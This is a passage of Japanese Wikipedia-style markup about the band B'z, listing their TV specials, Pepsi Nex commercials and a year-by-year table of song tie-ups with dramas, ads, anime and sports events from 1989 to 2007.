web|和書|url=https://web.archive.org/web/20200115101712/https://www.nhk.or.jp/docudocu/program/46/3122066/index.html |title=NHKスペシャル「メガヒットの秘密~20年目のB'z~ 2018アンコール」 |publisher=日本放送協会(NHK) |accessdate=2020-01-15}}</ref>)
* [[NHK衛星第2テレビジョン|NHK BS2]]『RUN 〜B'z・20年の軌跡〜』(2009年1月1日)
* [[WOWOW]]『B'z 25th Anniversary Special「Only Two」』(2012年12月9日)<ref>{{Facebook post|wowow.inc|1784989248254640}}</ref>
* [[ニコニコ生放送]]『B'z 25th Anniversary DIGEST 1988-2013』(2013年6月8日){{Refnest|group="注釈"|YouTubeの『B'z Official YouTube Channel』でも公開している<ref>{{YouTube|t8GY_VcVBmw|B'z 25th Anniversary DIGEST 1988-2013}}</ref>。}}<ref>{{Cite news|url=https://natalie.mu/music/news/92393|title=B'zのニコ生特番、本日急遽オンエア|date=2013-6-8|accessdate=2021-9-10|newspaper=音楽ナタリー}}</ref><ref>{{Cite news |url=https://www.barks.jp/news/?id=1000091095 |title=ニコニコ生放送にてB'zの特別番組が突然オンエア中 |date=2013-06-08 |work=[[BARKS]] |accessdate=2018-11-23}}</ref>
* B'z Official YouTube Channel『B'z 25th Anniversary YouTube Special Program』(2013年6月16日、2013年6月19日 -)<ref>{{Cite news |url=https://natalie.mu/music/news/91063 |title=B'zのYouTube特番で稲葉&松本がファンからの質問に回答 |date=2013-05-21 |work=ナタリー |accessdate=2018-07-03}}</ref><ref>{{YouTube|j_kvdpGhFHk|B'z 25th Anniversary YouTube Special Program}}</ref>
* WOWOW『WOWOW×B'z スペシャル番組』(2018年4月11日、5月26日、6月30日、7月21日{{Refnest|group="注釈"|『B'z 25th Anniversary Special「Only Two」』の再放送<ref>{{Cite news |url=https://natalie.mu/music/news/290171 |title=B'zの特番5本を9月と10月にWOWOWで放送 |date=2018-07-07 |work=ナタリー |accessdate=2018-11-23}}</ref>。}}、8月18日)<ref>{{Cite news |url=https://www.barks.jp/news/?id=1000157307 |title=B’z×WOWOW、5本のスペシャル番組を9月と10月にもう一度 |work=BARKS |date=2018-07-07 |accessdate=2020-01-15}}</ref>
* WOWOW『B'z LIVE-GYM Pleasure 2018 -HINOTORI-』(2018年11月24日、2019年1月12日、2019年4月12日、2019年5月2日)<ref>{{Cite news |url=https://natalie.mu/music/news/300840 |title=B'zのライブ映像を初めてテレビ番組としてオンエア、ツアー最終日の味スタ公演撮影 |date=2018-09-23 |work=ナタリー |accessdate=2018-11-23}}</ref>
* B'z Official YouTube Channel『B'z "FRIENDS III" YouTube Live』(2021年12月3日 - 12月23日)<ref>{{Cite web|和書|url=https://bz-vermillion.com/news/211130.html |title=B'z “FRIENDS III” YouTube Live 12月3日(金) 19:00~生配信決定!! |date=2021-11-30 |website=B'z Official Website |publisher=VERMILLION RECORDS |accessdate=2022-01-02}}</ref>
* [[NHK総合テレビジョン|NHK総合]]『クローズアップ現代「独占告白 B'z 時代を鼓舞する音楽のチカラ」』(2023年7月19日<ref>{{Cite web|和書|url=https://www.nhk.jp/p/gendai/ts/R7Y6NGLJ6G/episode/te/ZN1L6XRY6R/ |title=独占告白 B'z 時代を鼓舞する音楽のチカラ |publisher=[[日本放送協会]](NHK) |accessdate=2023-07-19}}</ref>)
'''CM'''
* [[ペプシコーラ]]「ペプシネックス」
** エフェクト篇・荒野篇(2011年3月1日 - )<ref>{{Cite press release |和書 |url=https://www.suntory.co.jp/news/2011/11022.html |title=「ペプシネックス」新TVCM B'z 初のTVCM出演! —3月1日(火)からオンエア開始— —「GO NEXT! 先行くおいしさ PEPSI NEX」— |date=2011-02-22 |publisher=[[サントリー食品インターナショナル]] |accessdate=2018-06-07}}</ref>
** People篇(2011年7月16日 - )<ref>{{Cite press release |和書 |url=https://www.suntory.co.jp/news/2011/11113.html |title=「ペプシネックス」新TVCM B'z TVCM第2弾が登場! —「People」篇を 7月16日(土)からオンエア開始— —「GO NEXT! 先行くおいしさ PEPSI NEX」— |date=2011-07-12 |publisher=サントリー食品インターナショナル |accessdate=2018-06-07}}</ref>
** Xmas Lover篇(2011年12月3日 - )<ref name="Natalie2011.12">{{Cite news |url=https://natalie.mu/music/news/60907 |title=B'zペプシCM第3弾であのクリスマス名曲披露 |date=2011-12-08 |work=ナタリー |accessdate=2020-01-15}}</ref>
** Tshirts Live篇(2012年2月28日 - )<ref>{{Cite press release |和書 |url=https://www.suntory.co.jp/news/2012/11331.html |title=「ペプシネックス」新TV-CM B'z B'z TV-CM 2012年第1弾! —「Tshirts Live」篇を2月28日(火)からオンエア開始— —「GO FOR IT! PEPSI NEX」— |date=2012-02-24 |publisher=サントリー食品インターナショナル |accessdate=2018-06-07}}</ref>
** Summer Line篇(2012年7月14日 - )<ref name="Natalie2012.07">{{Cite news |url=https://natalie.mu/music/news/72909 |title=B'z新曲「Love Bomb」含む英詞アルバム配信限定発表 |date=2012-07-13 |work=ナタリー |accessdate=2020-03-04}}</ref>
== タイアップ一覧 ==
{| class="wikitable" style="width:100%; font-size:85%;"
!年
!曲
!タイアップ先
|-
|rowspan="2"|{{Nowrap|1989年}}
|[[君の中で踊りたい]]
|[[TBSテレビ|TBS]]系ドラマ『ハイミスで悪かったネ!』エンディングテーマ
|-
|[[BAD COMMUNICATION]]
|[[富士通]]「[[FM TOWNS]]」[[コマーシャルソング|CMソング]]
|-
|rowspan="7"|1990年
|[[LADY-GO-ROUND#収録曲|LOVE & CHAIN]]
|[[テレビ朝日]]系『[[ニュースステーション]]』スポーツコーナー オープニングテーマ
|-
|[[BE THERE]]
|テレビ朝日系『[[水曜スペシャル#水曜スーパーキャスト|水曜スーパーキャスト]]』エンディングテーマ<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_04.html |title=BE THERE |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[太陽のKomachi Angel]]
|rowspan="2"|[[三貴]]「カメリアダイヤモンド」イメージソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_05.html |title=太陽のKomachi Angel |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_06.html |title=Easy Come, Easy Go! |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[Easy Come, Easy Go!]]
|-
|[[愛しい人よGood Night...]]
|テレビ朝日系ドラマ『[[代表取締役刑事]]』エンディングテーマ<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_07.html |title=愛しい人よGood Night... |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[WICKED BEAT#収録曲|I Wanna Dance -Wicked Beat Style-]]
|[[フジテレビジョン|フジテレビ]]系『[[上岡龍太郎にはダマされないぞ!]]』オープニングテーマ(イントロ部分のみ)
|-
|[[RISKY (アルバム)#収録曲|HOT FASHION -流行過多-]]
|フジテレビ系『上岡龍太郎にはダマされないぞ!』エンディングテーマ
|-
|rowspan="2"|1991年
|[[LADY NAVIGATION]]
|[[カネボウ化粧品]] '91夏のイメージソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_08.html |title=LADY NAVIGATION|website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[ALONE (B'zの曲)|ALONE]]
|[[関西テレビ放送|関西テレビ]]・フジテレビ系ドラマ『[[ホテルウーマン]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_09.html |title=ALONE |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="3"|1992年
|[[LADY-GO-ROUND]]
|TBS系『[[ザ・プロ野球|プロ野球中継]]』オープニングテーマ
|-
|[[BLOWIN']]
|[[カルビー]]「[[ポテトチップス]]」[[コマーシャルソング|CFソング]]<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_10.html |title=BLOWIN' |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[BLOWIN'#収録曲|TIME]]
|テレビ朝日系『[[ステーションEYE]]』オープニングテーマ
|-
|rowspan="2"|1993年
|[[愛のままにわがままに 僕は君だけを傷つけない]]
|[[日本テレビ放送網|日本テレビ]]開局40年記念ドラマ『[[西遊記 (1993年のテレビドラマ)|西遊記]]』主題歌<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_12.html |title=愛のままにわがままに 僕は君だけを傷つけない |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[裸足の女神]]
|[[トヨタ自動車|トヨタ]]「[[トヨタ・カローラレビン|カローラ・レビン]]」CFソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_13.html |title=裸足の女神 |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="2"|{{Nowrap|1994年}}
|[[Don't Leave Me (B'zの曲)|Don't Leave Me]]
|テレビ朝日系[[木曜ドラマ (テレビ朝日)|木曜ドラマ]]『[[新空港物語]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_14.html |title=Don't Leave Me |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[MOTEL (B'zの曲)|MOTEL]]
|三貴「ブティックJOY」CFイメージソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_15.html |title=MOTEL |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="4"|1995年
|[[ねがい (B'zの曲)|ねがい]]
|全国25局ネット『[[J-ROCK ARTIST COUNT DOWN 50]]』エンディングテーマ<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_16.html |title=ねがい |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[love me, I love you]]
|テレビ朝日系木曜ドラマ『[[外科医柊又三郎]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_17.html |title=love me, I love you |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="2"|[[LOVE PHANTOM]]
|テレビ朝日系ドラマ『[[Xファイル|X-FILE]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_18.html |title=LOVE PHANTOM |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|TBS系『[[COUNT DOWN TV]]』オープニングテーマ
|-
|rowspan="4"|1996年
|[[ミエナイチカラ 〜INVISIBLE ONE〜/MOVE|MOVE]]
|[[ベネッセコーポレーション]]「[[進研ゼミ中学講座]]」CMソング<ref name="19th Single"/>
|-
|[[ミエナイチカラ 〜INVISIBLE ONE〜/MOVE|ミエナイチカラ 〜INVISIBLE ONE〜]]
|テレビ朝日系アニメ『[[地獄先生ぬ〜べ〜]]』エンディングテーマ<ref name="19th Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_19.html |title=ミエナイチカラ ~INVISIBLE ONE~ / MOVE |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[Real Thing Shakes]]
|日本テレビ系ドラマ『[[俺たちに気をつけろ。]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_20.html |title=Real Thing Shakes |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[FRIENDS II#収録曲|傷心]]
|テレビ朝日系『[[超次元タイムボンバー]]』テーマソング
|-
|rowspan="7"|1997年
|[[FIREBALL (B'zの曲)|FIREBALL]]
|[[資生堂]]「[[ピエヌ]]」CMソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_21.html |title=FIREBALL |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[FIREBALL (B'zの曲)|哀しきdreamer]]
|[[タカラトミー|トミー]]製[[ゲームソフト]]『[[インディ500|INDY500]]』イメージソング
|-
|[[いつかのメリークリスマス]]
|[[東宝]]系映画『[[恋は舞い降りた。]]』挿入歌
|-
|[[Calling (B'zの曲)|Calling]]
|テレビ朝日系ドラマ『[[ガラスの仮面]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_22.html |title=Calling |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="2"|[[Liar! Liar!]]
|[[スカパー!プレミアムサービス|PerfecTV! ch.199]]『[[The MUSIC 272|MUSIC FREAK TV]]』CMソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_23.html |title=Liar! Liar! |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|『'97 [[ナショナルホッケーリーグ|NHL]] 日本公式開幕戦』テーマソング
|-
|[[Liar! Liar!|ビリビリ]]
|『J-ROCK ARTIST BEST 50』エンディングテーマ
|-
|rowspan="9"|1998年
|rowspan="2"|[[さまよえる蒼い弾丸]]
|[[大塚製薬]]「[[ポカリスエット]]」CMソング<ref name="24th Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_24.html |title=さまよえる蒼い弾丸 |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|『J-ROCK ARTIST BEST 50』エンディングテーマ
|-
|Calling
|テレビ朝日系ドラマ『ガラスの仮面 PartⅡ』テーマソング
|-
|[[SURVIVE#収録曲|ハピネス]]
|テレビ朝日系ドラマ『ガラスの仮面 PartⅡ』エンディングテーマ
|-
|[[さまよえる蒼い弾丸#収録曲|Hi]]
|フジテレビ系『[[フォーミュラ・ニッポン|Fomurla Nippon]]』テーマソング<ref name="24th Single"/>
|-
|[[HOME (B'zの曲)#収録曲|The Wild Wind]]
|[[東映]]・[[アスミック・エース]]映画『[[不夜城 (小説)|不夜城]]』主題歌<ref name="25th Single">{{Cite web |url=https://bz-vermillion.com/discography/sg_25.html |title=HOME |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[HOME (B'zの曲)|HOME]]
|[[角川書店|角川文庫]]CMソング<ref name="25th Single"/>
|-
|[[B'z The Best "Treasure"#収録曲|RUN -1998 Style-]]
|[[日産自動車|日産]]「[[日産・アベニール|アベニール]]」CMソング<ref name="アベニールCM">{{Cite web|和書|url=http://www.nissan.co.jp/AP-CONTENTS/POSTOFFICE/ANSWERS/315.html |title=アベニールCM |publisher=[[日産自動車]] |accessdate=2021-02-07}}</ref>
|-
|[[B'z The Best "Treasure"#収録曲|Pleasure'98 〜人生の快楽〜]]
|『NHL GAME ONE '98 JAPAN』テーマソング
|-
|rowspan="5"|1999年
|RUN -1998 Style-
|日産「アベニール」CMソング<ref name="アベニールCM"/>
|-
|[[ギリギリchop#収録曲|ONE]]
|東宝系映画『[[名探偵コナン 世紀末の魔術師]]』主題歌<ref name="26th Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_26.html |title=ギリギリchop |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[ギリギリchop]]
|[[讀賣テレビ放送|読売テレビ]]・日本テレビ系アニメ『[[名探偵コナン (アニメ)|名探偵コナン]]』オープニングテーマ<ref name="26th Single"/>
|-
|Calling
|テレビ朝日系ドラマ『ガラスの仮面 感動の完結編スペシャル』テーマソング
|-
|[[Brotherhood (B'zのアルバム)#収録曲|F・E・A・R]]
|フジテレビ系『[[F1グランプリ]]1999』テーマソング
|-
|rowspan="5"|2000年
|[[今夜月の見える丘に]]
|TBS系[[日曜劇場|東芝日曜劇場]]『[[ビューティフルライフ|Beautiful Life~ふたりでいた日々~]]』主題歌<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_27.html |title=今夜月の見える丘に |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|F・E・A・R
|フジテレビ系『F1グランプリ2000』テーマソング
|-
|[[May (B'zの曲)#収録曲|You pray,I stay]]
|[[サントリー]]「スーパーチューハイ」CMソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_28.html |title=May |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[juice (B'zの曲)|juice]]
|テレビ朝日系『[[おネプ!]]』エンディングテーマ<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_29.html |title=juice |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[RING (B'zの曲)|RING]]
|読売テレビ・日本テレビ系ドラマ『[[明日を抱きしめて]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_30.html |title=RING |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="4"|2001年
|[[ultra soul]]
|rowspan="2"|『[[2001年世界水泳選手権|世界水泳福岡2001]]』大会公式テーマソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_31.html |title=ultra soul |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[ultra soul#収録曲|スイマーよ2001!!]]
|-
|[[ultra soul#収録曲|ROCK man]]
|フジテレビ系『[[すぽると!|感動ファクトリー・すぽると!]]』エンディングテーマ
|-
|[[GOLD (B'zの曲)|GOLD]]
|『世界水泳福岡2001』大会公式テーマソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_32.html |title=GOLD |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="6"|2002年
|[[GREEN (B'zのアルバム)#収録曲|SIGNAL]]
|[[コナミデジタルエンタテインメント|コナミ]]『[[ときめきメモリアル Girl's Side]]』オープニングテーマ<ref name="ときメモ" group="注釈">Beingモバイルサイト内、B'zのディスコグラフィでは[[ナムコ]]([[バンダイナムコゲームス]])となっているが、それは誤表記である。</ref><ref name="ときメモ2">{{Cite web|和書|title=6月20日発売 プレイステーション2 恋愛シミュレーションゲーム 「ときめきメモリアル Girl's Side」(KONAMI)に、楽曲提供する事が決定しました!!|url=http://bz-vermillion.com/news/bn/andmore.html|website=B'z Official Website|publisher=VERMILLION RECORDS|accessdate=2023-01-13|archiveurl=https://web.archive.org/web/20030814172645fw_/http://bz-vermillion.com/news/bn/andmore.html|archivedate=2002-06|deadlinkdate=2023年1月}}</ref>
|-
|[[GREEN (B'zのアルバム)#収録曲|美しき世界]]
|コナミ『ときめきメモリアル Girl's Side』エンディングテーマ<ref name="ときメモ" group="注釈"/><ref name="ときメモ2" />
|-
|[[GREEN (B'zのアルバム)#収録曲|Everlasting]]
|東宝系映画『[[名探偵コナン ベイカー街の亡霊]]』主題歌
|-
|rowspan="2"|[[熱き鼓動の果て]]
|『[[TV ASAHI NETWORK SPORTS|TV ASAHI NETWORK SPORTS 2002]]』テーマソング<ref name="33rd Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_33.html |title=熱き鼓動の果て |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|『[[2002年パンパシフィック水泳選手権|パンパシ水泳横浜2002]]』大会公式テーマソング<ref name="33rd Single"/>
|-
|いつかのメリークリスマス
|フジテレビ系『感動ファクトリー・すぽると!』オープニングテーマ
|-
|rowspan="8"|2003年
|[[IT'S SHOWTIME!!]]
|『TV ASAHI NETWORK SPORTS 2003』テーマソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_34.html |title=IT'S SHOWTIME!! |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[BIG MACHINE#収録曲|CHANGE THE FUTURE]]
|[[NHK衛星第2テレビジョン|NHK-BS2]]アニメ『[[時空冒険記ゼントリックス]]』主題歌<ref>{{Cite web|和書|title=B'z、新曲タイアップ決定!(Musicnet)|url=http://music.yahoo.co.jp/jpop/music_news/sonymz/20030402/snyent001.html|website=Yahoo!JAPAN Music|publisher=ヤフー株式会社|accessdate=2023-10-07|archiveurl=https://web.archive.org/web/20040807204317/http://music.yahoo.co.jp/jpop/music_news/sonymz/20030402/snyent001.html|archivedate=2003-04-02|deadlinkdate=2004年8月}}</ref>
|-
|[[BIG MACHINE#収録曲|WAKE UP, RIGHT NOW]]
|[[アサヒビール]]「[[スーパードライ]]」CMソング<ref>{{Cite web|和書|title=B'z、ニュー・アルバム登場! 9月には単行本も!(Musicnet)|url=http://music.yahoo.co.jp/jpop/music_news/sonymz/20030729/snyent001.html|website=Yahoo!JAPAN Music|publisher=ヤフー株式会社|accessdate=2023-10-07|archiveurl=https://web.archive.org/web/20040807202505/http://music.yahoo.co.jp/jpop/music_news/sonymz/20030729/snyent001.html|archivedate=2003-07-29|deadlinkdate=2004年8月}}</ref>
|-
|[[野性のENERGY]]
|『TV ASAHI NETWORK SPORTS 2003』テーマソング<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_35.html |title=野性のENERGY |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[BIG MACHINE#収録曲|儚いダイヤモンド]]
|『[[NBA]] JAPAN GAMES 2003』CMソング
|-
|[[BIG MACHINE#収録曲|アラクレ]]
|フジテレビ系[[フジテレビ火曜9時枠の連続ドラマ|火曜9時ドラマ]]『[[あなたの隣に誰かいる]]』主題歌<ref>{{Cite web|和書|title=B'z、15周年記念ライブ無事終了!(Musicnet)|url=http://music.yahoo.co.jp/jpop/music_news/sonymz/20030926/snyent001.html|website=Yahoo!ミュージック|publisher=ヤフー株式会社|accessdate=2023-10-11|archiveurl=https://web.archive.org/web/20040615041706/http://music.yahoo.co.jp/jpop/music_news/sonymz/20030926/snyent001.html|archivedate=2003-09-26|deadlinkdate=2004年6月}}</ref><ref>{{Cite news|url= https://www.barks.jp/news/?id=1000160521 |title= B’z、新曲「WOLF」が月9『SUITS/スーツ』主題歌に「ドラマの中で流れるのがとても楽しみ」|newspaper=BARKS |publisher=ジャパンミュージックネットワーク株式会社 |date=2018-10-08|accessdate=2021-02-22}}</ref>
|-
|[[BIG MACHINE#収録曲|Nightbird]]
|[[ロッテ]]「のど飴」CMソング
|-
|[[BIG MACHINE#収録曲|ROOTS]]
|読売テレビ・日本テレビ系アニメ『[[ブラック・ジャック (テレビアニメ)#ブラック・ジャック2時間スペシャル 〜命をめぐる4つの奇跡〜|ブラック・ジャック2時間スペシャル 〜命をめぐる4つの奇跡〜]]』主題歌<ref>{{Cite web|和書|title=DVD「ブラックジャックスペシャル~命をめぐる4つの奇跡~」発売!!|url=http://www.oricon.co.jp/music/artist/artist0003/more15.html|website=ORICON STYLE|publisher=オリコン株式会社|accessdate=2022-07-17|archiveurl=https://web.archive.org/web/20041212135606/http://www.oricon.co.jp/music/artist/artist0003/more15.html|archivedate=2004-10-25|deadlinkdate=2022年7月}}</ref>
|-
|rowspan="5"|2004年
|[[BANZAI (B'zの曲)|BANZAI]]
|アサヒビール「スーパードライ」CMソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_36.html |title=BANZAI |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="2"|[[ARIGATO (B'zの曲)|ARIGATO]]
|『TV ASAHI NETWORK SPORTS 2004』テーマソング<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_37.html |title=ARIGATO |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|テレビ朝日系『[[アテネオリンピック (2004年)|アテネオリンピック]]』放送テーマソング<ref>{{Cite web|和書|title=アーティスト情報 B'z|url=http://www.oricon.co.jp/music/artist/artist0003/index.html|website=ORICON STYLE|publisher=オリコン株式会社|accessdate=2022-07-17|archiveurl=https://web.archive.org/web/20041212135606/http://www.oricon.co.jp/music/artist/artist0003/more15.html|archivedate=2004|deadlinkdate=2022年7月}}</ref>
|-
|いつかのメリークリスマス New ver.
|rowspan="2"|TBS系『[[恋するハニカミ!]]』テーマソング<ref>{{Cite web|和書|title=“いつかのメリークリスマス”が「恋するハニカミ!」のテーマソングに決定!!|url=http://www.oricon.co.jp/music/artist/artist0003/more14.html|website=ORICON STYLE|publisher=オリコン株式会社|accessdate=2022-07-17|archiveurl=https://web.archive.org/web/20041212133808/http://www.oricon.co.jp/music/artist/artist0003/more14.html|archivedate=2004-10-15|deadlinkdate=2022年7月}}</ref>
|-
|いつかのメリークリスマス アンプラグド ver.<ref group="注釈">2005年発売のベスト・アルバム『[[B'z The Best "Pleasure II"]]』には「いつかのメリークリスマス 〜「恋するハニカミ!」バージョン〜」として収録している。</ref>
|-
|rowspan="7"|2005年
|[[THE CIRCLE (B'zのアルバム)#収録曲|パルス]]
|[[日本放送協会|NHK]]ドラマ『[[生き残れ]]』テーマソング
|-
|rowspan="2"|[[愛のバクダン]]
|[[テレビ東京]]系『[[JAPAN COUNTDOWN]]』エンディングテーマ
|-
|[[ゼスプリ・インターナショナル・ジャパン]]「ゼスプリ ゴールド・キウイ」CMソング
|-
|[[OCEAN (B'zの曲)#収録曲|なりふりかまわず抱きしめて]]
|[[朝日新聞社]]「[[朝日新聞]]」CMソング<ref>{{Cite news|url=https://www.hmv.co.jp/news/article/506240030/|title=B'zニューシングルはドラマ主題歌!|newspaper=HMV&BOOKS onlineニュース|publisher=株式会社ローソンエンタテインメント|date=2005-06-24|accessdate=2022-09-22}}</ref>
|-
|[[OCEAN (B'zの曲)|OCEAN]]
|フジテレビ系火曜9時ドラマ『[[海猿#テレビドラマ|海猿 UMIZARU EVOLUTION]]』主題歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_39.html |title=OCEAN |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|rowspan="2"|[[RUN (アルバム)#収録曲|RUN]]
|『[[第60回国民体育大会]]・晴れの国おかやま国体』イメージソング<ref name="okayama_chiji">{{Cite web|和書|title=知事記者会見 |url=http://www.pref.okayama.jp/chiji/kocho/kaiken/20020708.html?p=1 |date=2002-07-08 |accessdate=2019-10-06 |publisher=[[岡山県]] |archiveurl=https://web.archive.org/web/20021104023211/http://www.pref.okayama.jp/chiji/kocho/kaiken/20020708.html?p=1 |archivedate=2002-11-04 |deadlinkdate=2022年2月 }}</ref>
|-
|『[[第5回全国障害者スポーツ大会]]・輝いて!おかやま大会』イメージソング<ref name="okayama_chiji" />
|-
|rowspan="5"|2006年
|[[衝動 (B'zの曲)|衝動]]
|読売テレビ・日本テレビ系アニメ『名探偵コナン』オープニングテーマ<ref name="40th Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_40.html |title=衝動 |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[衝動 (B'zの曲)#収録曲|結晶]]
|日本テレビ系[[土曜ドラマ (日本テレビ)|土曜ドラマ]]『[[喰いタン (テレビドラマ)|喰いタン]]』主題歌<ref name="40th Single"/>
|-
|[[ゆるぎないものひとつ]]
|東宝系映画『[[名探偵コナン 探偵たちの鎮魂歌]]』主題歌<ref>{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_41.html |title=ゆるぎないものひとつ |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[ピエロ (B'zの曲)|ピエロ]]
|rowspan="2"|[[ドワンゴ]]「[[いろメロミックス]]」CMソング<ref>{{Cite web|和書|title=B'z / ゆるぎないものひとつ |url=https://artist.cdjournal.com/d/-/4106021266 |website=CDJournal |publisher=シーディージャーナル |accessdate=2020-07-29 }}</ref><ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_42.html |title=SPLASH! |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|[[SPLASH!]]
|-
|rowspan="9"|2007年
|[[永遠の翼 (B'zの曲)|永遠の翼]]
|東映系映画『[[俺は、君のためにこそ死ににいく]]』主題歌<ref name="43rd Single">{{Cite web|和書|url=https://bz-vermillion.com/discography/sg_43.html |title=永遠の翼 |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref><ref>{{Cite web|和書|url=https://natalie.mu/music/news/86 |title=[B'z]石原都知事に映画主題歌を提供 |date=2007-01-31 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|rowspan="2"|[[永遠の翼 (B'zの曲)#収録曲|ロンリースターズ]]
|映画『[[真救世主伝説 北斗の拳|真救世主伝説 北斗の拳 ラオウ伝 激闘の章]]』主題歌<ref name="43rd Single"/><ref>{{Cite web|和書|url=https://natalie.mu/music/news/435 |title=[B'z]映画「北斗の拳」の主題歌を担当 |date=2007-02-26 |work=ナタリー |accessdate=2018-06-11}}</ref>
|-
|[[JOYSOUND]]「ポケメロJOYSOUND」CMサウンド
|-
|rowspan="2"|[[SUPER LOVE SONG#収録曲|FRICTION]]
|[[エレクトロニック・アーツ]]『[[バーンアウト (ゲーム)|バーンアウト ドミネーター]]』挿入歌<ref>{{Cite web |url=https://bz-vermillion.com/discography/sg_44.html |title=SUPER LOVE SONG |website=B'z Official Website|publisher=VERMILLION RECORDS |accessdate=2020-04-10}}</ref>
|-
|テレビ東京系『JAPAN COUNTDOWN』2007年10月期オープニングテーマ
|-
|[[ACTION (B'zのアルバム)#収録曲|オレとオマエの新しい季節]]
|日本テレビ系ドラマ『[[The O.C.]]』エンディングテーマ
|-
|[[ACTION (B'zのアルバム)#収録曲|ONE ON ONE]]
|TBS系『[[日立 世界・ふしぎ発見!|世界・ふしぎ発見!]]』エンディングテーマ
|-
|[[ACTION (B'zのアルバム)#収録曲|純情ACTION]]
